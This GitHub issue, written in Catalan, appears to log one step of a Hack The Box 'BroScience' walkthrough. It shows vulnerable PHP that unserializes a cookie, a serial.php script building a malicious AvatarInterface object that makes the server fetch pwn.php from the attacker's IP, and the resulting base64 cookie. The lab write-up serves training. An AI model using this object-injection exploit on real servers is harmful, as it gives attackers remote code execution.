AngelMascaro / broscience_htb_hackingoldschool

0 stars 0 forks source link

Exploit #2 - preparar i injectar una cookie perquè el servidor es descarregui una reverse shell. #15

Closed cpratlao closed 1 year ago

cpratlao commented 1 year ago

Persona --> Cristian Temps --> 28/02/2023 --> 18:00 --> 19:00 Acció --> Crear una cookie per l'usuari amb una reverse shell Endpoint --> https://broscience.htb/ (amb un usuari autenticat) Resultat --> Aconseguim que el servidor carregui la cookie enverinada i es descarregui la reverse shell. Output:

Primer de tot repassem el codi del fitxer utils.php i veiem dues coses interessants; la primera és que el servidor desserialitza la cookie de l'usuari, això ho veiem en el següent fragment del codi:

┌─[lao@parrot]─[~/broscience]
└──╼ $cat utils.php | sed -n 63,76p
function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

I la segona és que utilitza les classes "Avatar" i "AvatarInterface" per guardar fitxers de forma local en el servidor, això ho podem veure en el següent fragment de codi:

┌─[lao@parrot]─[~/broscience]
└──╼ $cat utils.php | sed -n 95,117p
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

Tenint en compte aquests elements podem mirar de crear una cookie per tal que el servidor es connecti cap a la nostra màquina i es descarregui una reverse shell. El primer pas és crear la cookie, per tant, mirem la IP de la nostra màquina:

┌─[✗]─[lao@parrot]─[~/broscience]
└──╼ $ip a | grep tun0
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    inet 10.10.14.74/23 scope global tun0

Tot seguit creem un fitxer php, aprofitant les funcions que hem trobat en l'utils.php, per crear el nostre payload i guardar-lo en una cookie. Cal comentar el nostre payload fa que el servidor es connecti a la nostra màquina i es descarregui el fitxer "pwn.php" (http://10.10.14.74/pwn.php):

┌─[lao@parrot]─[~/broscience]
└──╼ $cat serial.php 
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.74/pwn.php";
    public $imgPath = "./pwn.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>

Per últim, executarem el fitxer php per obtenir la cookie:

┌─[lao@parrot]─[~/broscience]
└──╼ $php serial.php 
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNjoiaHR0cDovLzEwLjEwLjE0Ljc0L3B3bi5waHAiO3M6NzoiaW1nUGF0aCI7czo5OiIuL3B3bi5waHAiO30=